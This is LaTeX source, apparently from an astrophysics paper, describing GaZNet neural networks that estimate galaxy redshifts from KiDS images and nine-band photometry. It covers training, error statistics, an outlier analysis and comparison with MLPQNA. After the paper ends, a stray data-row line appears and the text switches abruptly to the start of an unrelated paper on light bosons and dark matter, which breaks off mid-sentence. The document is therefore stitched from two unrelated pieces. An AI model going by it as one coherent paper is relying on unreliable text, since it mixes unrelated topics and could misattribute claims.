In particular, the galaxy sample used in this work is made of
148\,521 objects
for which spectroscopic redshifts (spec-$z$s, hereafter)
are available from different surveys, such as the Galaxy And Mass Assembly survey (GAMA, \citealt{Driver2011MNRAS_GAMA}) data release 2 and 3, the zCOSMOS (\citealt{Lilly2007ApJS_zcosmos}), the Chandra Deep Field South (CDFS, \citealt{Szokoly2004ApJS_CDFS}), and the DEEP2 Galaxy Redshift Survey (\citealt{Newman2013ApJS_DEEP2}).
The spec-$z$ range of the galaxies
covers quite a large baseline, between $\sim 0-7$, although the distribution is far to be uniform.
Indeed, as shown in Fig. \ref{fig:para_distri}, the number of galaxies at higher redshift ($z\gtrsim0.8$) is much smaller than the one at lower redshift. In the same figure,
we can see a peak of distribution at spec-$z$ $<0.6$. It comes from the GAMA survey,
which is
the most complete
spectroscopic surveys adopted, with $\sim95.5\%$ completeness for $r$-band magnitude MAG$\_$AUTO$<19.8$ (\citealt{Baldry2018MNRAS_GAMADR3}).
Similarly, we see a second peak at spec-$z$ $\sim2.5$, due to the quite deep observations from zCOSMOS.
Overall, this sample is dominated by bright and low redshift galaxies ($0.04<z<0.8$), however, between $0.8<z<3$, it still contains $\sim6500$ galaxies with a quite uniform redshift distribution that can be used as training sample to extend the predictions to higher redshift.
Due to the unbalanced redshift coverage, we expect the accuracy of the predictions to have a strong variation with redshift. However, we will check if the final estimates meet the accuracy and precision requirements
for cosmological and galaxy formation studies (see e.g., \citealt{LSST2009arXiv0912.0201L}).
After this redshift cut, the final sample is made of 134\,148 galaxies. The distributions of the r-band Kron-like magnitude, MAG$\_$AUTO, obtained by SExtractor \citep{Bertin_Arnouts96_SEx} for these galaxies, and their signal-to-noise ratio (SNR, defined as the inverse value of the error of MAG$\_$AUTO, are also reported in Fig. \ref{fig:para_distri}.
Finally, the 134\,148 galaxies are
divided into three datasets, 100\,000 for training, 14\,148 for validation, and 20,000 for testing and error statistical analysis.
The $u, g, r, i$ band images, with size of $8\times8''$, are cutout from KiDS DR4 (\citealt{Kuijken+19_KiDS-DR4}). The corresponding catalogs, made up of 9 Gaussian Aperture and point spread function (GAaP) magnitudes ($u, g, r, i, Z, Y, J, H, K$s) and 8 derived colours (e.g., $u-g$, $g-r$, $r-i$ etc.), are directly selected from the KiDS public catalog\footnote{https://kids.strw.leidenuniv.nl/DR4/access.php}. The GAaP magnitudes have been measured on Gaussian-weighted apertures, modified per-source and per-image, therefore providing seeing-independent flux estimates across different observations/bands, reducing the bias of colours (see detail in \citealt{Kuijken2015MNRAS,Kuijken+19_KiDS-DR4}). The extinction was also considered in the measurement of the GAaP magnitudes.
\subsection{External photo-$z$ catalog by MLPQNA}
\label{sec:external_MLPQNA}
To test the performances of GaZNet-1 against other ML based photo-$z$ methods, we have collected an external photo-$z$ catalog obtained from MLPQNA for the same KiDS galaxies we have used as testing sample. This allows us to perform a quantitative comparison of diagnostics like accuracy, scatter, and fractions of outliers.
MLPQNA is an effective computing implementation of neural networks adopted for the first time to solve regression problems in the astrophysical context. A test on PHAT1 dataset (\citealt{Hildebrandt2010A&A}) indicated that MLPQNA, with smaller bias and fewer outliers, performs better than most of the traditional standard SED fitting methods. This code has been used in some current sky surveys, e.g., KiDS (\citealt{Cavuoti+15_KIDS_I}) and Sloan Digital Sky Survey (SDSS; \citealt{Brescia2014A&A}). For our comparison, we adopt the MLPQNA photo-$z$ catalog from \cite{Amaro2021+photz}, where they have used the same data presented in \S\ref{sec:train_test_data} to train and test their networks.
\section{GaZNet training and testing}
In \S\ref{sec:arch} we have described the different GaZNets and anticipated that they accept either images or catalogs of galaxies as inputs, except the GaZNet-1, fed with both images and catalogs. In particular,
for the first test of morphoto-$z$ predictions
made with this latter, we choose only the $r$-band images, i.e. the ones with best quality
from KiDS, to combine with the 9-band photometry catalog. As we will demonstrate in \S\ref{sec:discussion}, the multi-band imaging does not add sensitive improvements in the results for the higher computation time prize one has to pay.
In this section, we illustrate the procedures to train the networks and test their predicted photo-$z$s
against the ground truth provided by the spec-$z$s of the test sample introduced in \S\ref{sec:train_test_data}.
\subsection{Training the networks}
\begin{figure*}
\centerline{\includegraphics[width=18cm]{comparison_test.pdf}}
\caption{Comparison between the spectroscopic redshifts and the predicted photometric redshifts for different models. From top left to bottom right are the results from GaZNet-I, GaZNet-C, GaZNet and MLPQNA, respectively. Error bars represent the mean absolute errors (MAE), while the quoted numbers are the mean $|\delta z|$, in each bin.}
\label{fig:comparison}
\end{figure*}
We train the networks by minimizing the ``Huber" loss (see, \citealt{Huber10.1214/aoms/1177703732}; \citealt{Friedman99+huberloss}) function with an ``Adam" optimizer (\citealt{Kingma2014+Adam}). The ``Huber'' loss is defined as
\begin{equation}
L_{\delta}(a) =
\begin{cases}
\dfrac{1}{2}(a)^2, \ \ \ |a|\leq\delta\\
\delta\cdot(|a|-\dfrac{1}{2} \delta), \ \ \ {\rm otherwise}.
\end{cases}
\end{equation}
In which $a=y_{\rm true}-y_{\rm pred}$. $y_{\rm true}$ is the spec-$z$ and $y_{\rm pred}$ is the predicted photo-$z$. $\delta$ is a parameter that can be pre-set. Given a $\delta$ (fixed to be $0.001$ in this work), the loss will be a square error when the
deviation of the prediction, $|a|$,
is smaller than $\delta$; otherwise, the loss is reduced to a linear function. Compared to the commonly used Mean Square Error (MSE) or Mean Absolute Error (MAE) loss function defined as
\begin{equation}
\begin{aligned}
{\rm MAE}=\frac{1}{n}\sum |z_{\rm pred}-z_{\rm spec}| \ \
\\
{\rm MSE}=\frac{1}{n}\sum (z_{\rm pred}-z_{\rm spec})^2.
\end{aligned}
\end{equation}
``Huber" loss is proved to be more accurate
in
such regression tasks (see detail discussion in \citealt{Li2021_GaLNet}).
To guarantee a faster-reducing speed of the loss function, for each ML model, we set a larger learning rate of 0.001 at the beginning and train the networks for 30 epochs. In each epoch, the networks are trained on the training data and validated on the validation data to verify if further adjustments are needed to improve the overall accuracy. After the first training round, we reduce the learning rate to 0.0001, and load the pre-trained model with a ``callback'' operation. Then we train the networks for further 30 epochs. Changing the learning rate to a smaller value of 0.0001
can help
the network converge to the global minimum, hence finding the best-trained model.
For the networks input with images, we also apply some data augmentations, including random shift, flip, and rotation (only $90^{\circ}, 180^{\circ}$ and $270^{\circ}$). We do not adopt any augmentation that needs interpolation algorithms\footnote{Note that, even if a generic rotation does imply some interpolation due to pixel re-sampling, the adoption of $\pi/2$ multiples does not, because it preserves the overall geometry of the cutout, except the orientation.}, like crop, zoom, colour-changing, and adding noise, since these operations would change the flux in the image pixels, affecting the magnitudes and colours of the galaxies.
\subsection{Testing the performance}
\label{sec:testing}
After the training phase, we use the 20\,000 testing galaxies
to estimate the precision
and the statistical errors of the redshift predictions from different GaZNets.
\subsubsection{Statistical parameters}
\label{sec:Statistical_parameters}
We define a series of statistical parameters to describe the overall performances: 1) the fraction of catastrophic outliers, 2) the mean bias, and 3) the normalized median absolute deviation (NMAD).
The fraction of the catastrophic outliers is defined as the fraction of galaxies with bias larger than 15\% according to the following formula:
\begin{equation}
\label{fuc:delta_z}
|\delta z|=\frac{|z_{\rm pred}-z_{\rm spec}|}{1+z_{\rm spec}}>15\%.
\end{equation}
where $z_{\rm spec}$ are the spec-$z$s of the test galaxies and $z_{\rm pred}$ are the predicted redshifts by the ML tools. This definition is usually adopted for outliers in photo-$z$ estimates (see details in e.g., \citealt{Cavuoti2012A&A_MLPQNA}, \citealt{Amaro2021+photz}) and gives a measure of the fallibility of the method. In addition, the mean bias in this work is labeled as $\mu_{\delta z}$.
The normalized median absolute deviation (NMAD), between the predicted photo-$z$s and the true spec-$z$s,
are defined as
\begin{equation}
\begin{aligned}
{\rm NMAD}=1.4826\times {\rm median} (|\delta z - {\rm median }(\delta z)|),
\end{aligned}
\end{equation}
where $\delta z$ comes from Eq. \ref{fuc:delta_z}. NMAD allows us to quantify
the scatter of the overall predictions in comparison to the ground truth, hence it is a measurement of the precision
of the redshift estimates from the ML tools.
\subsubsection{Predictions vs. ground truth}
\label{sec:perform}
The testing results on 20\,000 galaxies for the four GaZNets are shown in Fig. \ref{fig:comparison}, where on the x-axis we plot the spec-$z$s as ground truth, and on the y-axis we plot the predicted redshifts. As a comparison, in the same figure, we also show the photo-$z$s estimated by the MLPQNA. We divided the galaxies into 6 redshift bins, and computed the mean absolute errors, shown as error bars, and the mean $|\delta z|$ defined in Eq. \ref{fuc:delta_z}, reported as text. We use equally spaced bins to check the effect of the sampling as a function of the redshift.
From Fig. \ref{fig:comparison}, a major feature one can see, at the first glance,
is the odd coverage of the spec-$z$ at high redshift ($z\gtrsim0.8$),
which we have also discussed in \S\ref{sec:train_test_data}. This is a potential issue for all methods, as a poor training set can introduce a large scatter in the predictions. Indeed,
in Fig. \ref{fig:comparison} the $\delta_z$ tends to have an increasingly larger scatter at larger redshifts. This means that at $z\gtrsim0.8$ the absolute scatters are dominated by the size of the training sample rather than the true intrinsic uncertainties of the methods. Unfortunately, this is a problem we cannot overcome with the current data
and we need
to wait for larger spec-$z$ data samples
to improve the precision at higher redshifts.
However, given the current training set, we can still evaluate the relative performances of different methods and their ability to make accurate predictions even in the small training set regimes.
Given this necessary preamble, from Fig. \ref{fig:comparison} we see that unbiased photo-$z$ can be obtained by GaZNet-I4, with only 4-band images as input,
although it seems that this starts to deviate from the one-to-one relation at $z\gtrsim1.5$. However, at these redshifts,
a general trend of underestimating the ground truth is also shown by GaZNet-C4 and GaZNet-C9, although the latter uses the full photometry from the KiDS+VIKING dataset. Interestingly, looking at the scatter, GaZNet-I4 seems to perform better than GaZNet-C4 at all redshift bins and almost comparably to C9 in most cases.
The results from GaZNet-I4
demonstrate that morpho-$z$s from multi-band images are similar, if not potentially superior, to photo-$z$s from photometry in the same bands.
This high-performance of morpho-$z$s is also confirmed by the noticeably smaller outlier fraction (1.5\% for GaZNet-I4 and 2.2\% for GaZNet-C4 in general). Even more interestingly, looking from the perspective of future surveys relying on a narrower wavelength baseline, such as the space missions Euclid and CSST, our results show that morpho-$z$s are not far from optical+NIR large photometric baselines in terms of accuracy, scatter, and the fraction of outliers. This is particularly true for $z<1$, where, as seen in Fig. \ref{fig:comparison}, the GaZNet-I4 shows less outliers than GaZNet-C9, while this latter shows a rather lower fraction of outliers at higher redshifts.
Moving to GaZNet-C9, the results show the impact of the broader wavelength baseline including the five NIR bands. Generally, photo-$z$ determined by GaZNet-C9 show improved indicators in comparison to GaZNet-I4 and GaZNet-C4. From Fig. \ref{fig:comparison} we can see these coming from a better linear correlation, especially at $z>1.5$, and smaller absolute errors.
However, looking at the results in more detail,
at $z>1.5$ the presence of a rather large fraction of outliers causes the median values to diverge from the one-to-one relationship in a way similar to GaZNet-I4 and GaZNet-C4. It is hard to assess whether this is caused by the poor training sample, or it is an intrinsic shortcoming of the ML tool. In either cases, it is important to check whether using the information from images can improve this result.
Compared to GaZNet-C9, GaZNet-1 has overall better performances, with a tighter one-to-one relation, and smaller errors (by $\sim10-35$\%) in all redshift bins. This is shown in the bottom-left panel of Fig. This result leads us to two main conclusions: 1) images (even a single high-quality band, see \S\ref{sec:discussion} for the test on multi-band imaging) provide crucial information to solve intrinsic issues related to the photometry only
and improve all performances of the redshift predictions, in terms of accuracy, scatter, and outlier fraction. We will discuss the reason for this in \S\ref{sec:discussion}; 2) due to the poor redshift coverage of the training sample at $z>1$, the results we have obtained possibly represent a lower limit on the potential performances of the tool. No matter what, the GaZNet-1 reaches an excellent overall precision of $\delta_z=0.038(1+z)$ up to $z=3$, with an overall outlier fraction of $0.74$\%.
\begin{figure*}
\centerline{\includegraphics[width=18cm]{statics_of_bias.pdf}}
\caption{Outlier fraction (out. fr.), mean bias ($\mu_{\delta z}$), and Scatter (NMAD) as functions of spec-z, photo-z, and magnitudes in 20 bins. In each panel, blue line is for GaZNet-1, orange is for GaZNet-C9 and green is for MLPQNA. In the last row we also present the number distribution in the corresponding parameter space.}
\label{fig:statistics_of_bias}
\end{figure*}
\subsubsection{Test vs. external catalogs}
\label{sec:test_external}
We can finally compare the performance of the four GaZNets versus the external catalogs.
The MLPQNA is rather similar to the ANN
method used for the GaZNets-C9, as it makes use of a similar algorithm and the same catalogs from KiDS DR4. From Fig. \ref{fig:comparison} we see that MLPQNA performs similar to GaZNet-I4 and better than GaZNet-C4. This is not surprising as the MLPQNA uses a larger wavelength baseline. This is particularly visible at
higher redshift, where the predictions from MLPQNA are tighter distributed around the one-to-one relationship with the ground truth than GaZNet-I4 and GaZNet-C4.
\subsubsection{Performance in space of redshift and magnitude }
\label{sec:parameter_space}
In the last subsections, we have shown that GaZNet-1 shows better performances than others tools, in terms of accuracy and precision. However, in Fig. \ref{fig:comparison}, we have also seen a variation of these performances as a function of the redshift. Here, we want to more detailedly quantify
this effect as well as the
the dependence on the magnitudes of the same performances. The reason for this diagnostics is to assess the impact of selection effects on the overall performances (see e.g. \citealt{Busch2020A&A...642A.200V}). E.g., in \S\ref{sec:perform}, we have anticipated that the redshift sampling by the training sample can be one source of degradation of the performances at $z>1$.
\begin{table}
\footnotesize
\begin{center}
\caption{\label{tb:parametersl} Statistical properties of the predictions.}
\begin{tabular}{c c c c}
\hline \hline
CNN model & Out. fr. &$\mu_{\delta z}$& NMAD \\
\hline
\multicolumn{4}{c}{Low redshit galaxies ($z\le0.8$)}\\
\hline
GaZNet-C9& 0.007 & 0.0& 0.016 \\
GaZNet-1 & 0.004& 0.0& 0.014 \\
MLPQNA & 0.01& 0.006& 0.022 \\
\hline
\multicolumn{4}{c}{high redshift galaxies ($0.8<z<3$)} \\
\hline
GaZNet-C9& 0.234& -0.067& 0.073\\
GaZNet-1& 0.127& -0.028& 0.041\\
MLPQNA & 0.216& -0.022& 0.087\\
\hline \hline
\end{tabular}
\end{center}
\begin{flushleft}
\textsc{Note.} ---Outlier fraction, mean bias and NMAD (see \S \ref{sec:Statistical_parameters}) from different tools on lower ($z<0.8$) and higher (z>0.8) redshift galaxies.
\vspace{0.3cm}
\end{flushleft}
\end{table}
In Fig. \ref{fig:statistics_of_bias} we plot the outlier fraction (out. fr.),
mean bias ($\mu_{\delta z}$) and scatter (NMAD) as functions of spec-z, photo-z, and $r$-band magnitudes.
As comparison we plot the same relations for GaZNet-C9 and MLPQNA, the other two tools showing comparable performances to the GaZNet-1.
The bottom raw of the same Fig. \ref{fig:statistics_of_bias}, finally shows the distribution of the training sample
in the same parameter space.
From this figure, the overall impression is that
GaZNet-1 performs generally better than the other two tools in most, if not all, redshift and magnitude bins, with lower outlier fraction, smaller mean bias and scatter.
We also see a clear correlation of the performances of all tools, included GaZNet-1,
with the size and magnitude of the training sample in different redshift bins and the magnitudes of the training galaxies. All of the 3 tools performs quite well in the range of $z\lesssim0.8$, where the training sample is about one order of magnitude larger, resulting on a more accurate training.
To quantify the overall performance in this redshift range,
in Tab \ref{tb:parametersl} we report the global statistical parameters for these galaxies. The three tools all can achieve quite small outlier fractions ($\lesssim0.01$), mean bias (close to 0) and scatters ($\lesssim 0.022$).
Compared to the other two tools, GaZNet-1 shows the best performance. In particular, its outlier fraction is $43\%$ smaller than GaZNet-C9 and $60\%$ smaller than MLPQNA.
At $z\gtrsim 0.8$, in Fig. \ref{fig:statistics_of_bias} we see that the number of galaxies decreases rapidly, which produces a degradation of the performances of all tools.
Interestingly, looking at the central panels,
after $z\sim 1.5$, where the COSMOS spec-$z$ sample
is concentrated, the performances, especially in terms of scatter (NMAD), show a significant improvement up to $z\gtrsim 2.6$, where the spec-$z$ of the training sample quickly drop in number again. This is also quantified In Tab \ref{tb:parametersl}
by the global statistical parameters for these higher redshift galaxies.
Compared to GaZNet-C9, all the indicators from GaZNet-1 are significantly improved. The fraction of outliers, the mean bias and the scatter are decreased by $46\%$, $58\%$, and $44\%$, respectively. On the other hand, MLPQNA remains the tool performing worse.
A similar behaviour of the performances is seen also as a function of the photo-$z$, as these latter closely follow the spec-$z$ (see Fig. \ref{fig:comparison}).
Going to the magnitude space, we find that all indicators shows very small values at MAG$\_$AUTO $\lesssim 21$, which means that the redshift estimates for brighter galaxies are highly reliable.
After $r$-band MAG$\_$AUTO$\sim 21$,
all indicators degrade,
showing a worsening of the accuracy, precision and outlier fraction. Among the three tools, the GaZNet-1 is the one with better performances, though.
In particular, after MAG$\_$AUTO$\sim 22$ there is a peak at $30\%$, which can be either driven by the poorer SNR of the systems, but more likely by the smaller statistics.
In general, though, the GaZNet-1
has still a quite small outlier fraction ($\sim1.0$\%).
Overall, it is clear that collecting more galaxies covering higher redshift ($z\gtrsim 0.8$) and fainter magnitudes (MAG$\_$AUTO $\gtrsim22$) will be essential for improving the performance of these ML tools, and the results collected here represents just a lower limit of the real performances that these tools, especially GaZNet-1, can achieve.
However, even with the current training set, GaZNet-1 can provide even for high redshift galaxies results that satisfy the requirements for weak gravitational lensing studies in next generation ground-base surveys (e.g., NMAD=0.05 in VR/LSST, \citealt{LSST2009arXiv0912.0201L}), although this has been currently tested only on a relatively bright sample with AB magnitude MAG$\_$AUTO$\leq22$ (see \ref{fig:statistics_of_bias}). For the low-redshift samples the GaZNet-1 is already well within the requirements for the same surveys and it is virtually science ready.
In the future, we will look for more higher redshift galaxies from different spectroscopic surveys to build a less biased training sample and improve the performances at $z>0.8$.
\section{Discussion}
In the previous section, we have compared the performances of the different GaZNets based on different architectures, including or not deep learning. We have also compared the GaZNets against external catalogs of photo-$z$ based on traditional machine learning algorithms. The reason for us to develop different tools with an increasing degree of complexity, is to understand the impact of the different features in the final predictions. The main conclusion of this comparison is that GaZNet-1, using the combination
of 9-band photometry and $r$-band imaging, clearly over-perform all the other tools, either developed by us or taken from literature, based on photometry only and no use of deep learning. We have also seen how deep learning only, applied to only 4-band optical images, can produce morpho-$z$ that are more accurate than the photo-$z$ from the corresponding photometry and equalize the performance of the 9-band photometry, except for redshift larger than $z>0.8$. Overall, we have discussed that part of the over-performance of deep learning is concentrated on the outlier fraction. In this section, we investigate the reasons for these results and discuss the impact of some choices we have made in the set-up of the GaZNets presented in this first paper.
\label{sec:discussion}
\subsection{The outliers}
\begin{figure*}
\centerline{\includegraphics[width=16cm]{outliers.pdf}}
\caption{The $g, r, i$ colour-composited colour
images ($20''\times20''$) and the corresponding $r$-band images for some representative outliers. Rows A, B, C and D (blue framed) show the outliers in GaZNet--C9, which are no longer outliers in GaZNet-1 predictions. Rows E, F and G (red framed) show the objects that remain outliers both for GaZNet-1 and GaZNet-C9. In the $r-$band images we report the spec-$z$ on the top, the GaZNet-C9 photo-$z$ on the bottom left and the GaZNet-1 morphoto-$z$ on the bottom right.}
\label{fig:outliers}
\end{figure*}
From Table \ref{tb:parametersl}, it is evident that the major advantage from deep learning, applied to high-quality imaging, resides in the low outlier fraction. For GaZNet-1, this is smaller than the one of GaZNet-C9 by $\sim43\%$ for low redshift galaxies ($z<0.8$) and $46\%$ for higher redshift galaxies ($z>0.8$). Understanding the reasons for these results is important to
figure out the source of systematics and plan next developments for more accurate morphoto-$z$ estimates.
To investigate the genesis of these outliers, we start by checking the galaxies for which the
ML tools fail to obtain accurate photo-$z$s.
In Fig. \ref{fig:outliers}, we show the optical $gri$ colour-composed and the $r$-band images of representative outliers from GaZNet-C9, which are not outliers anymore for GaZNet-1. In each $r$-band image, we report the spec-$z$ on the top, the GaZNet-C9 photo-$z$ on the bottom-left and the GaZNet-1 morphoto-$z$ on the bottom-right.
As a comparison, in Fig. \ref{fig:outliers}, we also show outliers from GaZNet-C9 that are still outliers for GaZNet-1. The colour images in this figure give a fair idea of the galaxy SEDs, while the $r$-band images illustrate the corresponding ``morphological'' features that the GaZNet-1 uses to improve the overall predictions.
From
Fig. \ref{fig:outliers} we can distinguish four kinds of outliers for GaZNet-C9.
The first one (A-row) is made of galaxies that are close to bright, often saturated, stars or bright large galaxies.
In some cases, GaZNet-1 can improve the predictions and solve the discrepancy with the ground truth values (A-row). However, in some other cases, the environment is too confused to allow the CNN to guess correctly, despite
the CNN can deblend the embedded source (E-row, see discussion below).
The second type of outliers (B-row) are irregular galaxies or, generally, diffuse nearby systems. These systems are generally starforming and blue, similarly to the majority of high redshift galaxies. Thus, they typically have a higher chance to be confused with higher-$z$ systems. In this case, the GaZNet-1 can recognize the complex morphology (knots, substructures, pseudo-arms etc), or a noisier surface brightness distribution, which are typical features of closer galaxies\footnote{We can guess, here, that the CNN can learn the surface brightness fluctuation (SBF) of galaxies, which is a notorious distance indicator (see e.g., \citealt{Cantiello2005ApJ...634..239C}).}.
The third type of outliers (C-row) is made of merging/interacting systems. For these systems, GaZNet-1 can solve the discrepancy using the information of the size of the two systems and the degree of details of the substructures, making these systems rather accurate to predict.
The fourth type of outliers (D-row) is made of blue objects, generally high-$z$ compact systems, sometimes also at low-$z$. In this case, again, the GaZNet-1 can make more accurate predictions, from the size and the round morphology.
With this insight on the way Deep Learning help improve the predictions of photo-$z$, we can now check where it still fails. This might give us valuable indications on how we can improve the GaZNet-1 performances in future analyses.
In Fig. \ref{fig:outliers} we see three types of outliers also for the GaZNet-1.
The first one (E-row), similarly to the ones of GaZNet-C9 in the A-row above, is caused by the presence of large, bright systems. In these cases, GaZNet-1 has difficulties in either correctly deblending the source or correctly evaluating the size, especially if very compact.
We stress here, though, that these outliers are generally fewer than all of the other kinds ($\sim 5\%$ of the total outliers for both GaZNet-1 and C9), and in the case of bright stars, can often be automatically masked out from catalogs.
The second type (F-row) is made of galaxies that have odd sizes for their redshifts, e.g., small-sized low-$z$ objects (ultra-compact galaxies? misclassified stars? etc.) or even large-sized high-$z$ systems (very massive/luminosity systems? galaxies with large diffuse haloes? etc.). As for the previous type, these systems are also quite limited in number ($\sim 4\%$), and their failure also depends on the poor training sample. In general, these outliers do not represent a significant issue.
The third type (G-row) is made of extremely compact, almost point-like and generally blue sources. These are the most abundant sample of outliers
($\sim58\%$). Although their redshift distribution is relatively sparse, they have a very similar appearance, being mainly concentrated at $z>1$ but with cases even at $z<0.5$. There is a little chance that all these systems are misclassified as stars or very compact blue galaxies (e.g., blue nuggets), although we cannot exclude some of them to be either case. The only possible option is that these are galaxies hosting active galactic nuclei (AGNs) or quasars. If so, these represent a marginal fraction of the training sample, and for this reason, they are not accurately predicted.
The SED of a quasar is different from that of a typical galaxy (e.g., \citealt{2021ApJ...912...92F}), and a small fraction of quasars may not provide enough training samples. Besides, most quasars can present strong variability, since they are observed in different bands
at different times. This introduces fictitious color terms that increase their uncertainties in photo-$z$ measurements.
To verify this assumption, we check
the star/galaxy/quasar separation
in \cite{Khramtsov2019A&A}, based on an ML classifier.
We find that only $\sim35$\% of the 147 outliers are classified as galaxies. For the remaining $\sim65$\%, about half are classified as quasars and half as stars. Regardless of the accuracy of the ML method to classify stars and quasars, this analysis confirms that only a minority of the catastrophic events are made of galaxies, consistently
with our guess based on the visual inspection above. In particular, the three objects in Fig. \ref{fig:outliers}-G, are all quasars in the ML classification.
If indeed, the outliers are dominated by misclassified stars and AGNs/quasars, we can easily figure that optimizing the classification of these groups of contaminants
would reduce the overall outlier fraction
down to a tiny value, $\sim0.3$\%.
\subsection{Other tests}
\label{sec:more_test}
The four GaZNets illustrated in \S\ref{sec:arch} and discussed in \S\ref{sec:perform} and \S\ref{sec:discussion} have been distilled by a number of
other models we have tested, with different kinds of inputs and different ML structures. Among these, we focus on two other experiments where we have tested two set-ups that, in principle, can
impact the final results. The parameters describing the performances of these two further configurations
are shown in Table \ref{tb:other_test}. Here below, we summarize their properties and the major results:
\begin{enumerate}
\item {\bf GaZNet-81pix to test the cutout size.} The GaZNets work on images with a size of $8''\times 8''$, which might be too small to collect the light of the whole galaxies and their environments, thus leaving some important features that the CNNs can not see.
In order to check this, we have tested the GaZNet-1 on images with twice the size of each side ($16''\times 16''$). Compared with the previous result in Table \ref{tb:other_test}, the parameters remain almost unchanged. A possible reason
is that the features that the CNNs extract from images are concentrated in the high SNR regions of the galaxies, while the outer regions bring little information, about both
the galaxy properties and the environment, to improve the redshift estimates. Using these arguments, one can ask whether the standard $8''\times 8''$ cutouts are too large and one can use a smaller cutout. To check this, we also tested $4''\times 4''$ and found slightly worse results, so we kept the $8''\times 8''$ as the best choice.
\item {\bf GaZNet-C9I4 to test the 9-band catalogs plus 4-band images:} GaZNet-1 makes use of 9-band catalogs and only $r$-band images. To check if the addition of images on other bands can produce a sensitive improvement, we train a GaZNet with the 4 optical band images plus the 9-band catalogs. We report the statistical parameters obtained with this new GaZNet in Table \ref{tb:other_test}: generally speaking, there is no obvious improvement. Some tiny differences are compatible with the random statistical effects in the training process. Even taking these results at face values, compared to the GaZNet-1, the computing time registered by the GaZNet-C9I4 is almost 3 times longer.
For these reasons, we can discard this solution for the poor cost-benefit ratio.
\end{enumerate}
\begin{table}
\footnotesize
\begin{center}
\caption{\label{tb:other_test} Statistical properties of the predictions.}
\begin{tabular}{c c c c}
\hline \hline
CNN model & Out. fr. &$\mu_{\delta z}$& NMAD \\
\hline
\multicolumn{4}{c}{Lower redshit galaxies}\\
\hline
GaZNet-81pix & 0.004& 0.001& 0.015 \\
GaZNet-C9I4 & 0.004& -0.002& 0.015 \\
\hline
\multicolumn{4}{c}{higher redshift galaxies} \\
\hline
GaZNet-81pix& 0.15& -0.039& 0.045\\
GaZNet-C9I4 & 0.124& -0.033& 0.033\\
\hline \hline
\end{tabular}
\end{center}
\begin{flushleft}
\textsc{Note.} ----
Outlier fraction, mean bias and NMAD (see \S \ref{sec:Statistical_parameters})
from the further tools tested in \S \ref{sec:more_test}.
\end{flushleft}
\end{table}
\section{Conclusions}
Several millions of galaxies have been observed in the third generation wide-field sky surveys, and tens of billions of
galaxies will be observed in the next ten years by the fourth generation surveys from ground and space. This enormous amount of data provides an unprecedented opportunity to study in detail the evolution of galaxies, and constrain the cosmological parameters with unprecedented accuracy. To fully conduct these studies over the expected gigantic datasets, fast and accurate photo-$z$ are indispensable.
In this work, we have explored the feasibility of determining the redshift with ML by combining the images and photometry catalogs. We designed 4 ML tools, named GaZNet-I4, GaZNet-C4 GaZNet-C9 and GaZNet-1. The inputs for these tools are 4-band images, 4-band catalogs, 9-band catalogs, and $r$-band images plus 9-band catalogs, respectively. We have trained using a sample of $\sim 140,000$ spectra from different spectroscopic surveys.
The training sample is dominated by bright (MAG$\_$AUTO$<21$) and low redhisft ($z<0.8$) galaxies, which provides a quite accurate knowledge base in this parameter space.
On the other hand, the higher-$z$ and fainter magnitudes are poorer covered by the training set.
Despite that, we have shown that the four tools, especially GaZNet-1, still return accurate predictions also at
$z>0.8$.
In more details, our tests show that accurate morpho-$z$ can be directly obtained from the multi-band images ($u, g, r, i$) by GaZNet-I4, with less outliers and smaller scatters than GaZNet-C4 using only four-band optical aperture photometry.
We have also seen that the combination of optical and NIR photometry in 9-band catalogs, by GaZNet-C9, can provide a much better determination of photo-$z$. However, the information added by even one single-band high-quality images, as tested with our GaZNet-1, can achieve noticeable performances that highly overtake the ones registered for GaZNet-C9. The statistical errors are $\sim10-35$\% smaller at different redshift bins, while the outlier fraction reduces by $43$\% for lower redshift galaxies and $46\%$ for higher redshift galaxies. We have estimated the variation of the scatter as a function of the redshift, over the range of $z=0-3$, of the order of $\delta_z=0.038(1+z)$. This is heavily affected by the poor coverage of the training base at large redshifts and we expect to improve significantly this prediction by adding a few thousands more galaxies in this redshift range.
By visually inspecting the images of all outliers produced by the GaZNet-C9 and GaZNet-1,
we have confidently demonstrated that the largest portion of the catastrophic estimates correspond to systems that are AGNs/quasars. This is corroborated by an independent ML classification from \citet{Khramtsov2019A&A}.
If these contaminants are correctly separated from galaxies, the overall outlier fraction of GaZNet-1 can reduce to 0.3\%. This is potentially an impressive result, that, combined with the rather high precision and small $\delta_z$,
will make the GaZNets performance close to the requirements for galaxy evolution and cosmology studies from the 4th generation surveys (e.g., \citealt{Izevic+19_LSST}; \citealt{Laureijs+11_Euclid}, \citealt{Zhan+18_csst}).
\begin{acknowledgements}
Rui Li and Ran Li acknowledges the support of National Nature Science Foundation of China (Nos 11988101,11773032,12022306), the science research grants from the China Manned Space Project (No CMS-CSST-2021-B01,CMS-CSST-2021-A01) and the support from K.C.Wong Education Foundation.
NRN acknowledge financial support from the “One hundred top talent program of Sun Yat-sen University” grant N. 71000-18841229.
MB is supported by the Polish National Science Center through grants no. 2020/38/E/ST9/00395, 2018/30/E/ST9/00698, 2018/31/G/ST9/03388 and 2020/39/B/ST9/03494, and by the Polish Ministry of Science and Higher Education through grant DIR/WK/2018/12.
This work is based on observations made with ESO Telescopes at the La Silla Paranal Observatory under programme IDs 177.A-3016, 177.A-3017, 177.A-3018 and 179.A-2004, and on data products produced by the KiDS consortium.
\end{acknowledgements}
\bibliographystyle{aa}
|
1,477,468,750,074 | arxiv | \section{Introduction}
The pursuit of new light boson (LB) with mass much lighter than W
and Z bosons in the standard model(SM) has a long history. A well
known example is a light gauge boson under an extra $U(1)$ gauge
group beyond the SM gauge group $SU(3)_c\otimes SU(2)_L\otimes
U(1)_Y$. However such kind of new LB is stringently constrained
since the current precise measurements are in excellent agreement
with the SM predictions. Obviously the interaction between the new
LB and SM sector should be tiny to evade current constraints. With
the same reason detecting LB experimentally is a very challenging
task.
Recently the LB attracts more attention due to the new cosmic
observations by PAMELA \cite{Adriani:2008zq}, ATIC \cite{:2008zz}
and Fermi \cite{Abdo:2009zk}. PAMELA collaboration reported excess
in the positron fraction from 10 to about 100 GeV but absence of
anti-proton excess \cite{Adriani:2008zq}. It is still consistent
with the results released by ATIC \cite{:2008zz} or Fermi
\cite{Abdo:2009zk} experiments. The afterwards investigations
suggested that these new observations need new source of
electron/positron which may come from the dark matter (DM). The DM
particles might annihilate or decay into electron/positron in the
halo today. Moreover man began to realize the possible connection
between the heavier DM at O(TeV) and the LB at O(GeV). If the
annihilating DM produces the extra electron/positron, there is a
mismatch between the DM annihilation cross section expected in the
epoch of freeze-out and that required to account for recent new
observations. Namely the present DM annihilation cross section is
